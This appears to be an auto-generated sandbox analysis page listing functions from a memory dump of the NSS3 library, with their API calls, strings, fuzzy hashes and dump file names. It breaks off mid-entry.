Instruction ID: 3cd9a3edac5aea29374a8d6dff12bf046dfa10cc05b97ce178f2f5ae2ccf83ba
Opcode Fuzzy Hash: ef7576d46fa1f403a4d91fdaf474f0d5eaffed9e6513f9725e61b617a1ed70bf
Instruction Fuzzy Hash: B3719371A057018FC304CF28C89466ABBE1FF89724F258A2DE4A9C77A0E730D955CB52

Function 6CEC9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC9ED6

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEC9EE4

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEC9F38

Part of subcall function 6CECD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEC9F0B), ref: 6CECD03B
Part of subcall function 6CECD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CECD04E
Part of subcall function 6CECD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CECD07B
Part of subcall function 6CECD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CECD08E
Part of subcall function 6CECD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEC9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEC9F59

Part of subcall function 6CEC9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEC9C5B), ref: 6CEC9D82
Part of subcall function 6CEC9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEC9C5B), ref: 6CEC9DA9
Part of subcall function 6CEC9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEC9C5B), ref: 6CEC9DCE
Part of subcall function 6CEC9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEC9C5B), ref: 6CEC9E43

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: d29b0aded37e02a5cb25f70b2e70703632d1ae11e39ef2cc7ef06a56ed1ad818
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: AB112BB5F042415BF7109A659D02BAF77B4AF9478CF340138E82A9BB40FB61E9198293

Function 6CF7CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF7D086
PR_Malloc.NSS3(00000001), ref: 6CF7D0B9
PR_Free.NSS3(?), ref: 6CF7D138

Strings

>, xrefs: 6CF7CF5B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: a154375ee827fe79d78af9d5499aad24477874fee6d593dd1badb5f6720a66f0
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: BED16B63B455460BFB344A7CACA13EA77938782374F98032BD5619BBE5E659C843C331

Function 6CF1AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5dff15ba34a4add3f43ca6b18bb82249523dadff2dae0a69752607a017a2b7
Instruction ID: c14f65c4818623eddfe65b74b39969fcd19f8b17b175a8d9b9ac7beecf24b8ed
Opcode Fuzzy Hash: 8e5dff15ba34a4add3f43ca6b18bb82249523dadff2dae0a69752607a017a2b7
Instruction Fuzzy Hash: 40F10EB5F192168FEB44CF28C8803AA77F0BB8A308F15826DC805D7B44E734AA55CBC5

Function 6CED0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CED1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CED1086

Strings

h(l, xrefs: 6CED0E55, 6CED0EC4, 6CED0F3A, 6CED0FA7
h(l, xrefs: 6CED1062, 6CED105D, 6CED0F37, 6CED1081, 6CED1082

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 5017e4f3debe345afc59e106b05f8ce79049d88fdd70794ff975c7a31dd0dd73
Instruction ID: b770192f4dcf9253699d259b788c87dcc2be99feb3e06fab3ef5b0a22ad95c8b
Opcode Fuzzy Hash: 5017e4f3debe345afc59e106b05f8ce79049d88fdd70794ff975c7a31dd0dd73
Instruction Fuzzy Hash: 0EA13271F0125A9FDF08CF99C890AEEBBB6BF49314B294129E915A7700D735ED12CB90

Function 6CDF6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CDF7049
*?[, xrefs: 6CDF7034, 6CDF7052, 6CDF7070
noskipscan*, xrefs: 6CDF7067
unordered*, xrefs: 6CDF702B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 837c0f826cbc3ace94b48e12484670084a1b251931b55e0c0de636076a0edee0
Instruction ID: 623328a10ccfe19c99bada8f8dd021910c63548efc6d90874db38135465c8178
Opcode Fuzzy Hash: 837c0f826cbc3ace94b48e12484670084a1b251931b55e0c0de636076a0edee0
Instruction Fuzzy Hash: 87713762E041115BEB148B6DC8803DEB3A2BF85314F2B4279CD79ABBE1D6719C4B87D1

Function 6CE13EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CE1463F
sqlite_temp_master, xrefs: 6CE1460F
sqlite_, xrefs: 6CE13FAA, 6CE14185

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 90312548c6201d176b636733b15a54f9c90085420dd13b41c2d4835ac14ac9da
Instruction ID: 800743f6e7db87cb80ecfd2ff85b683e604471894531061c989b3c354ba2fc7d
Opcode Fuzzy Hash: 90312548c6201d176b636733b15a54f9c90085420dd13b41c2d4835ac14ac9da
Instruction Fuzzy Hash: F7223721B4D1964FD7448F2580606B67BF2EF4731CB7C45AAD9E1AFF42C225E862C790

Function 6CF4BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF4C0B6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 3d7ff38ad1e80951c0b8eadef0e994b0db17bf0957158ef438fbe11b9edea99f
Instruction ID: ed0472359da1276b622ea74bdf9ca5f76294c2c3f2a7c47762a4411665c9eae6
Opcode Fuzzy Hash: 3d7ff38ad1e80951c0b8eadef0e994b0db17bf0957158ef438fbe11b9edea99f
Instruction Fuzzy Hash: 03928175A04209CFDB05DF99C890BAEBBB2FF88308F249168D415A7B92D735EC59CB50

Function 6CDE3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDE3EA9

Strings

0, xrefs: 6CDE3DAB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 0a448f9e5b9818ab162be891dbb362aa74e99ba30dda7b6e99f81c2137c17fc7
Instruction ID: 1b7e9e8fe1114ba83ffe45ed7daa1ada5e0c2c5330025e867501cc00a9e082f8
Opcode Fuzzy Hash: 0a448f9e5b9818ab162be891dbb362aa74e99ba30dda7b6e99f81c2137c17fc7
Instruction Fuzzy Hash: B3516971E481B9CADB16877C88603FFFBB19B8AB14F19432AC9A167AF0C234854587D0

Function 6CE8EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE8F0F9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: f4887785fbd82a088a7cec09c7a0d5980490389be812338c7070291fb22ba143
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 7A91CF71A0161A8FCB14CF68C8916AEB7F1FF85324F24472DD966A7BC0D734A905CB61

Function 6CEB2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CED7929), ref: 6CEB2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CED7929), ref: 6CEB2FE0

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: d893b3b2e8080cd29f9b4b8d35dfdf5fbdd7e366a08193f7735a6093de397f94
Instruction ID: 00825a375ac0c73e9b4afe833c3211c3587c01a97bdcd6739804e109f969b81e
Opcode Fuzzy Hash: d893b3b2e8080cd29f9b4b8d35dfdf5fbdd7e366a08193f7735a6093de397f94
Instruction Fuzzy Hash: 3951E271B049128FD7108E59CA82B7AB3B1FF4631CF394129D909BBB12DB35E946CB81

Function 6CDFAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CDFAE18
winUnlockReadLock, xrefs: 6CDFAE9F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: a5dd8c34108c615ff1ff538074e3556280e997adeaa525c0163f62e646eb98be
Instruction ID: 227297934f5adb7cc16d1b8d12e6cb0fe60688cc50614df3a267fb55127ad1de
Opcode Fuzzy Hash: a5dd8c34108c615ff1ff538074e3556280e997adeaa525c0163f62e646eb98be
Instruction Fuzzy Hash: 6A71AB70A182009BDB44CF28D890BABBBF5FF89304F15CA19F99997251D730A986CBD1

Function 6CE249F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff894d7931c15650c0e37084cbbe11d75b5d18e1ea92f51aac6de0d5d95e7e0e
Instruction ID: 5b4737bd02ead10b51ef3cf51de90789d14a9e327d32c3801df2caa3d5d0cac4
Opcode Fuzzy Hash: ff894d7931c15650c0e37084cbbe11d75b5d18e1ea92f51aac6de0d5d95e7e0e
Instruction Fuzzy Hash: 2A525974E052098FDB04CF59C480BAEBBF2FF89318F25825AD815AB755D739A942CF90

Function 6CEBED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEBEE3D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 30133f6ddd0710099f99a29cd489c3f1bcfc431d2b380d807c9cc56a5237739e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: AA71E272E01B018FD718CF59DA8167AB7F2AF88308F24466DE856A7B91D770E901CBD1

Function 6CDF4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDF5125

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 89b58c1bfbbfc251559a55453ed158bbcde83289f4af32dcd55383560fd4c0e7
Instruction ID: 0f61d8e9ec645c847c3de30eb5a6d5234db1d46d32c91f7c21cc2fddb5981aad
Opcode Fuzzy Hash: 89b58c1bfbbfc251559a55453ed158bbcde83289f4af32dcd55383560fd4c0e7
Instruction Fuzzy Hash: C1E12970A28341CFDB44DF28D58475ABBF0FF89318F158A5DE89997361E7309986CB82

Function 6CE7A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[l, xrefs: 6CE7A943, 6CE7A92D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID: [[l
API String ID: 0-3443110536
Opcode ID: b487553eed0ca55161ace0e99e9226c2803f2f056c03c8c67e42d74a071ba439
Instruction ID: 352dc6a3f08daa41525af6f25499e1f731b3c92b117f884f99022685b4d3da4f
Opcode Fuzzy Hash: b487553eed0ca55161ace0e99e9226c2803f2f056c03c8c67e42d74a071ba439
Instruction Fuzzy Hash: 77518C71A41209CFDB24CF15E944BAABBF5EF89308F36906DE8199B750D734D852CBA0

Function 6CE28960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: e9e883f593e3edb3e35f55c166081f4d02eb0f31e9abdc49f73b080db0293bc0
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: ECD16272E052168BDB68CEA9C4917AEB3F2BB89308F35852EC555E7740D7789C42CB90

Function 6CF2DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f648251826f00cbb424818b3f8ad0af2c69d9ebec853fe32e5fa7d159f5f6a6b
Instruction ID: f5f49f7f5746728bf669d3d1dcfefe01a47c5644697bcd66eb73946074f9e032
Opcode Fuzzy Hash: f648251826f00cbb424818b3f8ad0af2c69d9ebec853fe32e5fa7d159f5f6a6b
Instruction Fuzzy Hash: F3F14B71A012058FDB48CF69C490BAAB7B2BF89318F294168D8099F755DB39ED42CBD1

Function 6CEC1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

